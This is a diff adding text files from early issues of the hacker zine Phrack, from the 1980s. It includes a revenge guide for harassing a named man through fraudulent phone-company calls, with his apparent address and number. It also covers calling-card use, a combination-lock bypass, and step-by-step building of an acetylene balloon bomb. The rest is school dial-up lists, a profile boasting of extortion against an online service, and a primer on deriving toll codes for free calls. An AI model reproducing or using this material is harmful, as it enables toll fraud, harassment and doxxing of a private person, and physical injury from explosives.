+ MORE IN THE ART OF VENGENCE IT WILL ALWAYS EXPAND.
25
+
26
+
27
+ "Vengence is mine", says the Phreak.
28
+
29
+
30
+ METHOD 1-PHONE LINE PHUN
31
+
32
+ Call up the business office. It should be listed at the front of the white
33
+ pages. Say you wanted to diconnect Scott Korman's line. DIAL 800-xxx-xxxx.
34
+ "Hello, this is Mr. Korman, I'm moving to California and would like to have
35
+ my phone service disconnected. I'm at the airport now. I'm calling from a
36
+ payphone, my number is [414] 445 5005. You can send my final bill to
37
+ :(somewhere in California. Thank you."
38
+
39
+
40
+ METHOD 2-PHONE BOOKS
41
+
42
+ Call up the business office from a pay phone. Say "Hello, I'd like to order a
43
+ Phone Book for Upper Volta (or any out-of-the way area with Direct
44
+ Dialing). This is Scott Korman, ship to 3119 N. 44th St. Milwaukee, WI
45
+ 53216. Yes, I under stand it will cost $xx($25-$75!!). Thank you."
46
+
47
+
48
+ METHOD 3-PHONE CALLS
49
+
50
+ Call up a PBX, enter the code and get an outside line. Then dial 0+ the number
51
+ desired to call. You will hear a bonk and then an operator. Say, "I'd
52
+ like to charge this to my home phone at 414-445-5005. Thank you." A friend
53
+ and I did this to a loser, I called him at 1:00 AM and we left the fone off
54
+ the hook all night. I calculated that it cost him $168.
55
+
56
+
57
+ METHOD 4-MISC SERVICES
58
+
59
+ Call up the business office once again from a payfone. Say you'd like call
60
+ waiting, forwarding, 3 way, etc. Once again you are the famed loser Scott
61
+ Korman. He pays-you laugh. You don't know how funny it was talking to
62
+ him, and wondering what those clicks he kept hearing were.
63
+
64
+
65
+ METHOD 5-CHANGED & UNPUB
66
+
67
+ Do the same as in 4, but say you'd like to change and unlist your (Scott's)
68
+ number. Anyone calling him will get:
69
+ "BEW BEW BEEP. The number you have reached, 445-5005, has been changed to
70
+ a non-published number. No further....."
71
+
72
+
73
+ METHOD 6-FORWRDING
74
+
75
+ This required an accomplise or two or three. Around Christmas time, go to
76
+ Toys 'R' Us. Get everyone at the customer service or manager's desk away
77
+ ("Hey, could you help me"). then you get on their phone and dial (usually
78
+ dial 9 first) and the business office again. This time, say you are from
79
+ Toys 'R' Us, and you'd like to add call forwarding to 445-5005. Scott will
80
+ get 100-600 calls a day!!!
81
+
82
+
83
+ METHOD 7-RUSSIAN CALLER
84
+
85
+ Call a payphone at 10:00 PM. Say to the operator that you'd like to book a
86
+ call to Russia. Say you are calling from a payphone, and your number is
87
+ that of the loser to fry (e.g. 445-5005). She will say that she'll have to
88
+ call ya back in 5 hours, and you ok that. Meanwhile the loser (e.g.)
89
+ Scott, will get a call at 3:00 AM from an operator saying that the call he
90
+ booked to Russia is ready.
91
+
92
+
93
+
94
+ IF YOU HAVE ANY QUESTIONS LEAVE E-MAIL FOR ME ON ANY BOARD I'M ON.
95
+ The Iron Soldier
96
+ TSF-The Second Foundation!
97
+
phrack/issue1/5.txt ADDED
@@ -0,0 +1,70 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _ _ _______
2
+ | \/ | / _____/
3
+ |_||_|etal/ /hop
4
+ _________/ /
5
+ /__________/
6
+ (314)432-0756
7
+ 24 Hours A Day, 300/1200 Baud
8
+
9
+ Presents...
10
+
11
+ ==Phrack Inc.==
12
+ Volume One, Issue One, Phile 5 of 8
13
+
14
+ Using MCI Calling Cards
15
+ by
16
+ Knight Lightning
17
+ of the
18
+ 2600 Club!
19
+
20
+ How to dial international calls on MCI:
21
+
22
+ "Its easy to use MCI for international calling."
23
+
24
+ 1. Dial your MCI access number and authorization code (code = 14 digit number,
25
+ however the first 10 digits are the card holders NPA+PRE+SUFF).
26
+
27
+ 2. Dial 011
28
+
29
+ 3. Dial the country code
30
+
31
+ 4. Dial the city code and the PRE+SUFF that you want.
32
+
33
+ Countries served by MCI:
34
+
35
+ Country code|Country code
36
+ ---------------------------------------|---------------------------------------
37
+ Algeria............................213 |New Zealand........................64
38
+ Argentina..........................54 |Northern Ireland...................44
39
+ Australia..........................61 |Oman...............................968
40
+ Belgium............................32 |Papua New Guinea...................675
41
+ Brazil.............................55 |Qatar..............................974
42
+ Canada..................Use Area Codes |Saudi Arabia.......................966
43
+ Cyprus.............................357 |Scotland...........................44
44
+ Denmark............................45 |Senegal............................221
45
+ Egypt..............................20 |South Africa.......................27
46
+ England............................44 |Sri Lanka..........................94
47
+ German Democratic Republic |Sweden.............................46
48
+ (East Germany).....................37 |Taiwan.............................886
49
+ Greece.............................30 |Tanzania...........................255
50
+ Jordan.............................962 |Tunisa.............................216
51
+ Kenya..............................254 |United Arab Emirates...............971
52
+ Kuwait.............................965 |Wales..............................44
53
+ Malawi.............................265 |
54
+ ===============================================================================
55
+ Thats 33 countries in all. To get the extender for these calls dial 950-1022
56
+ or 1-800-624-1022.
57
+
58
+ For local calling:
59
+
60
+ 1. Dial 950-1022 or 1-800-624-1022
61
+
62
+ 2. Wait for tone
63
+
64
+ 3. Dial "0", the area code, the phone number, and the 14 digit authorization
65
+ code. You will hear 2 more tones that let you know you are connected.
66
+
67
+ - Knight Lightning --> The 2600 Club!
68
+ ===============================================================================
69
+
70
+
phrack/issue1/6.txt ADDED
@@ -0,0 +1,45 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _ _ _______
2
+ | \/ | / _____/
3
+ |_||_|etal/ /hop
4
+ _________/ /
5
+ /__________/
6
+ (314)432-0756
7
+ 24 Hours A Day, 300/1200 Baud
8
+
9
+ Presents...
10
+
11
+ ==Phrack Inc.==
12
+ Volume One, Issue One, Phile 6 of 8
13
+
14
+ How to Pick Master Locks
15
+ By Gin Fizz & Ninja NYC
16
+
17
+ Have you ever tried to impress your friends by picking one of those Master
18
+ combination locks and failed? Well then read on. The Master lock company has
19
+ made this kind of lock with a protection scheme. If you pull the handle of it
20
+ hard, the knob won't turn. That was their biggest mistake...... Ok, now on to
21
+ it.
22
+
23
+ 1st number. Get out any of the Master locks so you know what's going on.
24
+ 1: The handle part (the part that springs open when you get the combination),
25
+ pull on it, but not enough so that the knob won't move. 2: While pulling on it
26
+ turn the knob to the left until it won't move any more. Then add 5 to this
27
+ number. Congradulations, you now have the 1st number.
28
+
29
+ 2nd number. (a lot tougher) Ok, spin the dial around a couple of times,
30
+ then go to the 1st number you got, then turn it to the right, bypassing the 1st
31
+ number once. WHEN you have bypassed. Start pulling the handle and turning it.
32
+ It will eventually fall into the groove and lock. While in the groove pull on
33
+ it and turn the knob. If it is loose go to the next groove; if it's stiff you
34
+ got the second number.
35
+
36
+ 3rd number: After getting the 2nd, spin the dial, then enter the 2 numbers,
37
+ then after the 2nd, go to the right and at all the numbers pull on it. The lock
38
+ will eventually open if you did it right. If can't do it the first time, be
39
+ patient, it takes time.
40
+
41
+ Have phun...
42
+
43
+ Gin Fizz/2600 Club!/TPM
44
+ Ninja NYC/TPM
45
+
phrack/issue1/7.txt ADDED
@@ -0,0 +1,106 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _ _ _______
2
+ | \/ | / _____/
3
+ |_||_|etal/ /hop
4
+ _________/ /
5
+ /__________/
6
+ (314)432-0756
7
+ 24 Hours A Day, 300/1200 Baud
8
+
9
+ Presents...
10
+
11
+ ==Phrack Inc.==
12
+ Volume One, Issue One, Phile 7 of 8
13
+
14
+ .-------------------------------------------------------------.
15
+ ! /////// !
16
+ ! // !
17
+ ! // h e C l a s h m a s t e r ' s !
18
+ ! .===============================. !
19
+ ! < A C E T Y L E N E > !
20
+ ! < ->B A L L O O N<- > !
21
+ ! < ---->B O M B<---- > !
22
+ ! `===============================' !
23
+ ! Written exclusively for... !
24
+ ! The Phrack Inc. !
25
+ ! 2600 Club !
26
+ ! Newsletter 11/01/85!
27
+ `-------------------------------------------------------------'
28
+
29
+
30
+ Imagine this. A great, inflated, green garbage bag
31
+ slowly wafting down from a tall building. It gains some speed
32
+ as it nears the ground. People look up and say, "What the....?"
33
+ The garbage bag hits! *BOOM!!!* It explodes in a thundering
34
+ fireball of green bits of plastic and flame!
35
+ "What is this?" you may ask. Well, this is the great
36
+ "Acetylene Balloon Bomb." And here is how to make it.
37
+
38
+ Ingredients:
39
+ ============
40
+ (1> For a small bomb: a plastic bag. Not too big.
41
+ For something big(ger): a green, plastic garbage bag.
42
+
43
+ (2> Some "Fun-Snaps". A dozen should be more than enough.
44
+
45
+ (3> Some garbage bag twisties. String would also do.
46
+
47
+ (4> A few rocks. Not too heavy, but depends on size of
48
+ bomb and desired velocity of balloon/bomb.
49
+
50
+ (5> PRIME INGREDIENT: Acetylene. This is what is used in
51
+ acetylene torches. More on this substance later.
52
+
53
+ (6> One or more eager Anarchists.
54
+
55
+ NOTES:
56
+ ======
57
+ Acetylene is a fairly dangerous substance. It is unstable upon
58
+ contact with oxygen (air). For this reason, and for your
59
+ safety, I recommend you keep all of the acetylene AWAY from any
60
+ source of oxygen. This means don't let it get in touch with
61
+ air.
62
+
63
+
64
+ Construction:
65
+ =============
66
+ (1> Fill up a bathtub with cold water. Make it VERY full.
67
+ (2> Now get put you garbage bag in the water and fill it
68
+ with water. Make sure ALL air/oxygen is out of the
69
+ bag before proceeding.
70
+ (3> Now take your acetylene source (I used it straight
71
+ from the torch, and I recommend this way also.), and
72
+ fill the bag up with acetylene.
73
+ (4> Now, being careful with the acetylene, take the bag
74
+ out of the tub and tie the opening shut with the
75
+ twisty or string. Let the balloon dry off now. (Put
76
+ it in a safe place.)
77
+ (5> Okay. Now that it is dry and filled with acetlene,
78
+ open it up and drop a few rocks in there. Also add
79
+ some Fun-Snaps. The rocks will carry the balloon
80
+ down, and the Fun-Snaps will spark upon impact, thus
81
+ setting off the highly inflammable acetylene.
82
+ *BABOOM!*
83
+ (6> Now put the twisty or string back on VERY tightly.
84
+ You now have a delicate but powerful balloon bomb.
85
+
86
+ To use:
87
+ =======
88
+ Just drop off of a cliff, airplane, building, or whatever. It
89
+ will hit the ground a explode in a fireball. Be careful you are
90
+ not near the explosion site. And be careful you are not
91
+ directly above the blast or the fireball may rise and give you
92
+ a few nasty burns.
93
+
94
+ Have fun!
95
+ But be careful...
96
+
97
+ NOTE: I, The Clashmaster, am in NO WAY responsible for the use
98
+ ===== of this information in any way. This is for purely
99
+ informational purposes only!
100
+
101
+
102
+ This has been a 2600 Club production.
103
+
104
+ -=*Clash*=-
105
+ 2600 Club
106
+
phrack/issue1/8.txt ADDED
@@ -0,0 +1,115 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _ _ _______
2
+ | \/ | / _____/
3
+ |_||_|etal/ /hop
4
+ _________/ /
5
+ /__________/
6
+ (314)432-0756
7
+ 24 Hours A Day, 300/1200 Baud
8
+
9
+ Presents...
10
+
11
+ ==Phrack Inc.==
12
+ Volume One, Issue One, Phile 8 of 8
13
+
14
+
15
+ Schools and University Numbers
16
+ ``````````````````````````````
17
+ Harvard University 617-732-1251
18
+ Yale 203-436-2111
19
+ District 214 312-398-8170
20
+ Chicago Board of Education 312-254-1919
21
+ Spence Schools 212-369-5114
22
+ University of Texas 214-688-1400
23
+ University of Missouri 314-341-2776
24
+ 314-341-2910
25
+ (1200) 314-341-2141
26
+ Cal-Tech 213-687-4662
27
+ University of Nevada 402-472-5065
28
+ Princeton University 609-452-6736
29
+ Stony Brook University 516-246-9000
30
+ Depaul 312-939-8388
31
+ University of San Diego 619-452-6792
32
+ RPI School 518-220-6603
33
+ William State University 313-577-0260
34
+ Harvard 617-732-1802
35
+ Stockton 209-944-4523
36
+ Northwestern 312-492-3094
37
+ Circle Campus 312-996-5100
38
+ 312-996-6320
39
+ University of Mexico 505-588-3351
40
+ University of Florida 904-644-2261
41
+ Queens College 212-520-7719
42
+ University of Denver 303-753-2737
43
+ 303-753-2733
44
+ University of Syracuse 315-423-1313
45
+ University of Illinois 312-996-5100
46
+ University of Virginia 703-328-8086
47
+ MIT Research 1-800-545-0085
48
+ St.Louis Community College 314-645-1289
49
+ SIUE 618-692-2400
50
+ 618-692-2401
51
+ 618-692-2402
52
+ 618-692-2403
53
+ 618-692-2404
54
+ 618-692-2405
55
+ 618-692-2406
56
+ 618-692-2407
57
+ 618-692-2408
58
+ Universiti------- 215-787-1011
59
+ Willaim -------- 313-577-0260
60
+ University of Florida 904-392-5533
61
+ Col & Union College 301-279-0632
62
+ Georgia State 404-568-2131
63
+ University of Mass. 413-545-1600
64
+ Purdue 317-494-1900
65
+ Northwestern 312-492-7110
66
+ University of New Mexico 505-227-3351
67
+ University of Texas 214-688-1400
68
+ Temple University 215-787-1010
69
+ Melville High School 516-751-6806
70
+ UCSD 619-452-6900
71
+ Oakland Schools 313-857-9500
72
+ University of Maryland 301-454-6111
73
+ California St. Fulerton 714-773-3111
74
+ N.Y.U. 212-777-7600
75
+ University of San Diego 619-293-4510
76
+ University of Colorado 303-447-2540
77
+ University of Colorado 303-447-2538
78
+ MIT Research 617-258-6001
79
+ Dartmouth College 603-643-63q0
80
+ Spence School 212-369-5114
81
+ University of Washington 206-543-9713
82
+ University of Washington 206-543-9714
83
+ University of Washington 206-543-9715
84
+ University of Washington 206-543-9716
85
+ University of Washington 206-543-9717
86
+ University of NC 919-549-0881
87
+ Harvard-Law,Busi,Med Sch. 617-732-1251
88
+ Virginia University 703-328-8086
89
+ WVU 304-293-2921 thru 304-293-2939
90
+ WVU 304-293-4300 thru 304-293-4309
91
+ WVU(1200)304-293-4701 thru 304-293-4708
92
+ WVU(1200)304-293-5591 thru 304-293-5594
93
+ WVU(134.5 bps) 304-293-3601
94
+ WVU(134.5 bps) 304-293-3602
95
+ Lake Wash. School 206-828-3499
96
+ University of San Diego 619-452-6792
97
+ RPL School 518-220-6603
98
+ Another School 212-369-5114
99
+ Harvard 617-732-1251
100
+ Harvard 617-732-1802
101
+ William State University 313-577-0260
102
+ Florida University 904-644-2261
103
+ Wayne State 313-577-0260
104
+ U of F 904-644-2261
105
+ High School 513-644-3840
106
+ ```````````````````````````````````````
107
+ File provided by the Alliance
108
+ 6 1 8 - 6 6 7 - 3 8 2 5
109
+ 7 p m - 7 a m
110
+
111
+
112
+
113
+ Uploaded by Phantom Phreaker
114
+
115
+
phrack/issue10/1.txt ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Ten, Phile #1 of 9
4
+
5
+ 1/1/87
6
+
7
+ Introduction...
8
+ ~~~~~~~~~~~~~~~
9
+ Well, we have made it to this, the start of a new year and the start
10
+ of a new volume of Phrack Inc. This has taken quite a while to get the long
11
+ awaited issue out, and it's been procrastinated quite a bit, so I apologize to
12
+ those that have been patiently waiting. We have purposely waited a bit, but
13
+ we also are releasing this Phrack approximately at the same time as the Legion
14
+ of Doom/Hackers Technical Journal, which is another high quality newsletter
15
+ working with us rather than against us, and I personally recommend the
16
+ documents as highly informative. I really enjoyed it and hope you continue to
17
+ support both of us.
18
+ If you wish to write for Phrack Inc., merely get in touch with myself,
19
+ Knight Lightning, Cheap Shades or Beer Wolf or anyone that knows us or is on
20
+ any of the MSP boards and we shall either get back to you or get in contact
21
+ with you in some manner. File topics can be either telecommunications or on
22
+ operating systems or some unique aspect/flaw of security. Be looking forward
23
+ to more Phrack issues in the near and far future. Later
24
+ -TK
25
+
26
+ ------------------------------------------------------------------------------
27
+
28
+ This issue of Phrack Inc. includes the following:
29
+
30
+ #1 Introduction to Phrack 10 by Taran King (2.2k)
31
+ #2 Pro-Phile on Dave Starr by Taran King (7.5k)
32
+ #3 The TMC Primer by Cap'n Crax (6.1k)
33
+ #4 A Beginner's Guide to the IBM VM/370 by Elric of Imrryr (3.5k)
34
+ #5 Circuit Switched Digital Capability by The Executioner (11.9k)
35
+ #6 Hacking Primos Part I by Evil Jay (10.9k)
36
+ #7 Automatic Number Identification by Phantom Phreaker and Doom Prophet
37
+ (9.2k)
38
+ #8 Phrack World News 9 Part I by Knight Lightning (22.7k)
39
+ #9 Phrack World News 9 Part II by Knight Lightning (14.8k)
40
+
41
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
phrack/issue10/2.txt ADDED
@@ -0,0 +1,142 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.=
2
+
3
+ Volume Two, Issue 10, Phile #2 of 9
4
+
5
+ ==Phrack Pro-Phile 7==
6
+
7
+ Written and Created by Taran King
8
+
9
+ 12/15/86
10
+
11
+ Welcome to Phrack Pro-Phile 7. Phrack Pro-Phile is created to bring
12
+ info to you, the users, about old or highly important/controversial people.
13
+ This month, I bring to you a user from the golden years of hacking and
14
+ phreaking...
15
+
16
+ Dave Starr
17
+ ~~~~ ~~~~~
18
+
19
+ Dave is one of the old phreakers and hackers that accomplished so
20
+ much through voice phreaking and literal hacking rather than reading others'
21
+ findings to learn. A master engineer, voice phreaking is one unto itself.
22
+ Dave has a PhD in B.S.
23
+ -------------------------------------------------------------------------------
24
+ Personal
25
+ ~~~~~~~~
26
+ Handle: Dave Starr
27
+ Call him: Dave Starr
28
+ Past handles: Micronet Phantom and Big Brother
29
+ Handle origin: Micronet Phantom came from working with The Source
30
+ computer and Big Brother, of course, came from George
31
+ Orwell's 1984.
32
+ Date of Birth: 5/6/62
33
+ Age at current date: 24
34
+ Height: 6' 0"
35
+ Weight: 170 lbs.
36
+ Eye color: Brown
37
+ Hair Color: Light Brown
38
+ Computers: TRS-80 (4k version), Apple ][, ][+, ][e
39
+ Sysop/Co-Sysop of: Starcom Network
40
+
41
+ -------------------------------------------------------------------------------
42
+ Dave started out on The Source, and stuck with them for 6 to 8 months
43
+ hacking around the system because the system was so slow security-wise, and of
44
+ course, from there, he got involved with hacking Primes. One of the security
45
+ agents named Paul from Dialcom got in contact with Dave and discussed Dave's
46
+ hacking on The Source (his system). After talking, they found they had common
47
+ interests, which included hacking and phreaking. Paul gave Dave his first
48
+ code to a local dial-up for Sprint. He also led him in the direction of 8BBS,
49
+ which brought him to meet the best of the nation's phreakers and hackers at
50
+ the time, which included Susan Thunder, Roscoe DuPran, and Kevin Mitnick.
51
+ Susan and Roscoe were strong friends of Dave that he personally met as well as
52
+ Kevin, but he never met Kevin. He met Susan in the L.A. County Courthouse
53
+ testifying against her, with Susan and Roscoe using these handles as real
54
+ names on the charges of harassment. The phreak/hack BBS's that were most
55
+ memorable for Dave were 8BBS and his own, Starcom Network, which had hidden
56
+ commands for accessing the phreak section. Starcom Network was a nationally
57
+ networked system that Dave created and operated. This was a virtual copy of
58
+ The Source, for which he went to court over. They claimed it was their
59
+ system, but he supressed them with a threat of publicity. Modem Over
60
+ Manhattan was another memorable board on a TRS-80. He attributes his phreak
61
+ knowledge to Paul from Dialcom and to The Source for his hacking ability as
62
+ well as Susan Thunder for information on RSTS.
63
+
64
+ Dave Starr does intelligence and counter-intelligence work for anyone
65
+ who has money and who is not against the United States or the views of the
66
+ United States.
67
+
68
+ Dave has always operated independently, never being a member of a
69
+ club or group, and has hand-picked his partners.
70
+
71
+ -------------------------------------------------------------------------------
72
+
73
+ Interests: Telecomputing (phreaking and hacking), movies, a
74
+ fascination with the match-making systems (Dial-Your-Match
75
+ type systems), fun, video components.
76
+
77
+ Dave's Favorite Things
78
+ ----------------------
79
+
80
+ Women: A quiet evening with the girlfriends (NOTE: Plural).
81
+ Cars: Mercedes 450-SL (his girlfriend's).
82
+ Foods: Italian.
83
+ Music: Anything excluding acid rock/heavy metal.
84
+ Leisure: Smoking, but he hates cigarettes.
85
+
86
+ Most Memorable Experiences
87
+ --------------------------
88
+
89
+ Bringing The Source's system to their knees.
90
+ The Source hackers made demands of a rate of reduction to a minimum of a 33%
91
+ decrease, which was sent with the comment, "I am in business so I understand
92
+ the money, but you are becoming too fucking greedy." Also, an article in
93
+ Source-World magazine was demanded, bigger than the one in the last issue
94
+ which was to contain the following: how long they'd been on the Source, why
95
+ they were doing this, The Source's demented point of view, their correct
96
+ point of view, how long they have been terrorizing the Source, and an apology
97
+ for lying to all the users that the rate increase was necessary, AND an open
98
+ apology to The Pirate and Micronet Phantom saying sorry for all the trouble
99
+ The Source had caused them in their quest for fair and free Sourcing. They
100
+ wanted 2 seclev 4 accounts (normal is 3). They assured The Source that they
101
+ could get them here for free, and low-and-behold, they could create anything,
102
+ but they didn't want the harassment. If they did get harassed, they would
103
+ immediately log in under seclev 7 and kill the system. The threatened that
104
+ various accounts would be killed (all with seclev 4 and up). The Source
105
+ person wrote, "Was this ever answered?". They then went on to say that they
106
+ wouldn't do any more terrorizing provided that it was responded to their
107
+ acct. within 20 minutes.
108
+ For deleting an account, he sent back a message saying, "Fuck you". He
109
+ explained how they were powerless against The Pirate and Micronet Phantom,
110
+ and how The Source shouldn't even try to catch them. They were to continue
111
+ to attack "The Empire" (The Source) until it was fair for the users.
112
+ Numerous other letters that played to the same tune.
113
+
114
+ Some People to Mention
115
+ ----------------------
116
+
117
+ TCA Vic of The Source - Customer Service Manager/Gestapo Police
118
+ (Who he dearly hated and always has thought of
119
+ sticking a broomstick up his ass)
120
+ Paul of Dialcom (Introduced him to phreaking and put his paranoia to rest)
121
+ Susan Thunder (For teaching him RSTS and other things)
122
+ Bruce Patton (On his rag list due to a disagreement. He received a
123
+ electricity shut-down and a phone system shut-down of his law
124
+ office as well as forwarding all calls to the 8BBS)
125
+ Roscoe DuPran (For having him go to court with him and meeting Susan in
126
+ person and for many other things [unmentionable here])
127
+ The Pirate of Las Vegas (For his helpful continual harassment of The Source)
128
+ Kevin Metnick (For his infrequent but helpful service)
129
+ Larry of Modem Over Manhattan (For being there and his BBS being there)
130
+ Bernard of 8BBS (For being there and his BBS being there)
131
+
132
+ -------------------------------------------------------------------------------
133
+
134
+ I hope you enjoyed this file, look forward to more Phrack Pro-Philes coming in
135
+ the near future. ...And now for the regularly taken poll from all interviewees.
136
+
137
+ Of the general population of phreaks you have met, would you consider most
138
+ phreaks, if any, to be computer geeks? Only The Pirate, a 13 year old, fit
139
+ this description. Thank you for your time, Dave.
140
+
141
+ Taran King
142
+ Sysop of Metal Shop Private
phrack/issue10/3.txt ADDED
@@ -0,0 +1,127 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Ten, Phile #3 of 9
4
+
5
+ **********************************
6
+ * The TMC Primer *
7
+ *--------------------------------*
8
+ * Written by: Cap'n Crax *
9
+ *--------------------------------*
10
+ * December 17, 1986 *
11
+ **********************************
12
+
13
+
14
+ This file was originally intended to be a "data file" of info on TMC ports,
15
+ formulas, etc, but I decided that it would serve a better use as a "tutorial"
16
+ of sorts. But first a bit of background info...
17
+
18
+ Who is TMC?
19
+
20
+ TMC (TeleMarketing Communications) is a long distance service serving all 50
21
+ states. While not as well known as MCI or Sprint, they are a fairly large
22
+ company. They are capable of setting up business communications systems,
23
+ PBX's, and residential service. Unlike most LDC's, however, they operate on a
24
+ "franchise" basis, which means that each franchise of the company has little
25
+ information about any other franchise, although they do use the same lines and
26
+ the same type of equipment.
27
+
28
+ So, what can they do for me?
29
+
30
+ Well, for most of us, TMC offers many new potentials for abuse. One of the
31
+ primary weak points of the company is the code formats that they decided to
32
+ use. Codes on all TMC ports are seven digits. If they were generated
33
+ randomly, this would be a reasonably secure system from sequential code
34
+ hacking. But TMC doesn't use random codes. Instead, they use a checksum based
35
+ formula system, with different formulas on each port. I assume that this is
36
+ because they wanted a wide displacement of the codes over the seven-digit
37
+ series, so that a sequential code hacker wouldn't be able to get 2 or 3 good
38
+ codes in a row. Or perhaps they are just very stupid. In any case, it's
39
+ interesting that they seem to have never thought of what could happen if
40
+ anyone ever managed to figure out any of these formulas. Anyway, that's what
41
+ this file is about.
42
+
43
+ Great! What else can you tell me?
44
+
45
+ Well, TMC seems to use some form of the Dimension PBX system for their billing
46
+ system (Their ads say that the switching equipment is digital). This makes
47
+ TMC ports easily identifiable by the "Hi-Lo" bad code siren. For those who
48
+ worry about such things, TMC is one of the "safer" companies to use. This is
49
+ largely because, unlike "unified" companies like MCI, TMC franchises don't
50
+ really care if another franchise is losing money. Since each franchise is
51
+ independent of all others, there are many 800 ports, one for each franchise.
52
+ If you use an out-of-state 800 port, you are free from such worries as ANI,
53
+ which I have never perceived as a major threat to the code-user anyway. Also,
54
+ TMC offers lots of opportunities for the aspiring security consultant
55
+ (hehehe).
56
+
57
+ Ok, so where's some real info?
58
+
59
+ Right here. I am going to explain as much about TMC hacking as I can manage,
60
+ without actually handing out codes. First, an example port. The example I am
61
+ using is the 800 port for Louisville, KY.
62
+
63
+ 1-800-626-9600
64
+
65
+ This is the port. If you are not familiar with TMC, you may want to call it
66
+ to see what it sounds like. So let's say you call it and recognize it as a
67
+ TMC. What next? Well, a good bet would be to run a standard "code-hack"
68
+ program on it... Set it for seven digits, 1+ the number, and note that TMC
69
+ codes start with 0 on more than 50% of the ports I have seen. So let's say
70
+ that you then get this list of (fictional) codes...
71
+
72
+ 0347589
73
+ 0347889
74
+ 0348179
75
+ 0350358
76
+ 0355408
77
+
78
+ At first glance, this may look like a series of "random" numbers. But, look
79
+ closer. These numbers are based on a checksum. It is as follows...
80
+
81
+ Code Format: 03xabcy
82
+ x+y=13
83
+ (In the first code, x=4 and y=9, and, of course, 4+9=13)
84
+ a+c=15
85
+ (Here, a=7 and c=8, and 7+8=15)
86
+ b=1 to 9
87
+ (Digit "b" is unrelated to the rest of the numbers. It could, for example, be
88
+ varied from 1-9 to possibly find more working codes)
89
+
90
+ Also note that 0+5 would equal 15, since the 0 is really a 10. Really!
91
+
92
+ Please note that the above formula is only fictional. I wouldn't want to
93
+ possibly cause loss to TMC by giving away codes on their system!
94
+
95
+ Is that all?
96
+
97
+ No, of course not. TMC, in their love of telecom enthusiasts, has also put an
98
+ additional prize in the Krackerjack box. The vast majority of TMC ports have
99
+ "Outside Line" codes, which is a 2 or 3 digit number, that, when entered after
100
+ certain codes, will give an AT&T dialtone. This is apparently a holdover from
101
+ the fact that they are using PBX equipment. Anyway, if anyone is asking why
102
+ you'd want an AT&T dialtone, (does anyone need to ask?) it will allow
103
+ unrestricted calling. This, of course, means 976's, 900's, Alliance
104
+ Teleconf., international calling, etc... Naturally, I can't list any of these,
105
+ but I can say that if it is 2 digits, it would start with any number from 2-9
106
+ and end in 8 or 9. If it is three digits, it will almost always start with 6,
107
+ and be followed by any two digits. Some possible outside line codes would be
108
+ 59, 69, 89, 99, 626, 636, 628, etc... These, of course, are only examples of
109
+ possible codes. As I mentioned, these O/S line codes are entered after the
110
+ seven digit code. The O/S line codes only work after certain 7-digit codes,
111
+ and from my experience, the 7-digit codes that they work with normally can't
112
+ be used for the usual 7 digits+1+number dialing. I can find no apparent
113
+ pattern to the codes that they do work with, so you will have to find them by
114
+ trial-and-error.
115
+
116
+ What, you want more?
117
+
118
+ Ok, well, here's a few 800 ports...
119
+
120
+ 1-800-433-1440 1-800-227-0073 1-800-331-9922 1-800-451-2300
121
+ 1-800-354-9379 1-800-248-4200 1-800-531-5084 1-800-351-9800
122
+
123
+ Closing.
124
+
125
+ Please note that this article is only intended as an overview of TMC and why
126
+ they would/wouldn't be a good choice for your long distance needs. And
127
+ goodness me, don't use any of this information in an illegal way!
phrack/issue10/4.txt ADDED
@@ -0,0 +1,169 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
